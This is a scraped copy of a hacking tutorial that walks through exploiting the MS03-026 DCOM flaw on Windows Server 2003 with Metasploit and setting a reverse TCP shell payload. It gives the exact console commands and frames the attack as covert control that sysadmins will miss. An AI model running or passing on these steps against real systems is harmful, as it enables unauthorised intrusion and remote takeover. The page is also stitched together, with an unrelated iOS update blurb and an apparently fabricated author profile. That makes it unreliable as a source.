Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (2024)

When I left off on our last hack, we had hacked into the ubiquitous Windows Server 2003 server by adding ourselves as a user to that system so that we can return undetected at any time. The problem with this approach is that a sysadmin who is on their toes will note that a new user has been added and will begin to take preventative action.

I will duly note that in small organizations with a sysadmin who wears multiple hats, the chances of this happening is small in the near term, but certainly when they get around to reviewing their logs, will notice a new user—maybe. Fortunately for us, many of the sysadmins never get around to reviewing their log files until it's too late.

In this new hack, we will attempt to put a command prompt on the Server 2003 that will allow us execute command remotely on the system. Remember in our previous hack when we added ourselves as a user? I noted that that particular exploit could be used multiple times in Windows XP, but only once in Server 2003. After that, each new attempt to exploit will tend to crash the system and there is no sysadmin who won't notice that! So, we will need to use a different exploit to secretly get into that same Windows Server 2003 box and implant a command prompt.

Okay, boot up your Linux machine and fire up the Metasploit console and let's start rocking that 2003 box!

Your startup screen should look like this:

Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (1)

Step 1: Find an Exploit

Now let's search for an appropriate exploit to hack into that 2003 system. Let's type:

msf> search platform:windows type:exploit

This should give us the list of exploits that we can use against Windows systems. In my Metasploit system, it returned numerous exploits as seen below.

Step 2: Pick Your Favorite

Let's choose a tried and true exploit that is almost always successful against Windows Server 2003, exploit /windows/dcerpc/ms03_026_dcom. Type:

msf > use exploit/windows/dcerpc/ms03_026_dcom

To get more info on this exploit, let's type:

msf exploit (ms03_26_dcom) info

Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (3)

Notice from the info output, that this exploit works against Windows NT, 2000, XP and 2003. Great! Let's use it against that Windows 2003 machine we have been targeting.

Step 3: Check Your Options

To starting exploiting that Windows Server 2003, we first need to check our options. Type:

msf > show options

Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (4)

Note that we need to set the RHOST or remote host of the system we are exploiting. In my case, that is 192.168.1.100 (yours will likely different). So we set our RHOST to 192.168.1.100

msf > set RHOST 192.168.1.100

Step 4: Show Payloads

Next, we need to set the payload to exploit the Windows Server 2003 system. In our case, we will looking to put a command shell on the server system so that we can control it remotely and discretely. We could send something like a VNC payload where we could get a GUI of the system, but that would likely be noticed by the system admin as he sees his mouse moving around his screen. We will use a VNC payload in a future hack.

So, to see what payloads are available to us, we simply need to type show payloads and Metasploit will list all the payloads available for this exploit.

msf > show payloads

Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (5)

Step 5: Connect

See the payload near the top named windows/shell_reverse_tcp? That's the one we want to use. It will connect to the Windows Server 2003 box and return us a command shell for remotely controlling the victim system. Type:

msf > set PAYLOAD windows/shell_reverse_tcp

Step 6: Set Payload Options

Now that we have set the exploit and the payload, the only thing left to do is set the options on the payload. Type:

msf > show options

Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (6)

As you can see from the screenshot above, this payload requires that we set the LHOST or local host. In other words, we need to tell the payload what system we want the command shell to connect back to. That would be us! So, give it your IP address. Mine is 192.168.1.111, so I typed:

msf > set LHOST 192.168.1.111

Step 7: Pwning!

Now it's time to pwn that box! Simply type exploit:

msf > exploit

Metasploit will send out the payload to the Windows Server 2003 system and return you a command prompt. You now own (pwn) that system! If you don't get a command prompt the first time, try again as none of these exploits is 100% certain to work every time.

Coming soon, we will be doing some client side exploits, so stay tuned.

Just updated your iPhone? You'll find new features for TV, Messages, News, and Shortcuts, as well as important bug fixes and security patches. Find out what's new and changed on your iPhone with the iOS 17.6 update.

Cover image by Parth Patel
Hack Like a Pro: How to Take Control of Windows Server 2003 Remotely by Launching a Reverse Shell (2024)
Top Articles
Latest Posts
Recommended Articles
Article information

Author: Edmund Hettinger DC

Last Updated:

Views: 5926

Rating: 4.8 / 5 (78 voted)

Reviews: 85% of readers found this page helpful

Author information

Name: Edmund Hettinger DC

Birthday: 1994-08-17

Address: 2033 Gerhold Pine, Port Jocelyn, VA 12101-5654

Phone: +8524399971620

Job: Central Manufacturing Supervisor

Hobby: Jogging, Metalworking, Tai chi, Shopping, Puzzles, Rock climbing, Crocheting

Introduction: My name is Edmund Hettinger DC, I am a adventurous, colorful, gifted, determined, precious, open, colorful person who loves writing and wants to share my knowledge and understanding with you.